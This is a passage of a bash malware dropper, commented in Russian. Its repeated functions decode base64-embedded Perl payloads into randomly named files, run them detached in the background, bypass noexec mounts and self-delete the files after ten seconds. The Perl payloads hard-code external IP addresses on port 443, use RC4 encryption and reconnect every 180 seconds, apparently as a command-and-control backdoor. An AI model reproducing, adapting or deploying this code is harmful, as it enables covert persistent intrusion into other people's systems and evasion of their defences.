IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IG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QkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_cf1ccd4a() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_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WluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_3dcc6403() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBte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BjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_ba41b4eb() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9T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kJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_83cdd0ee() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vt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755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_f92a81c2() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUm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VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_9520054d() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка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IoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_321132b4() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAk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fQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_3de5c942() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJz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TsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_5a995533() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJ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W5nNDsKCgkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlYXgsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
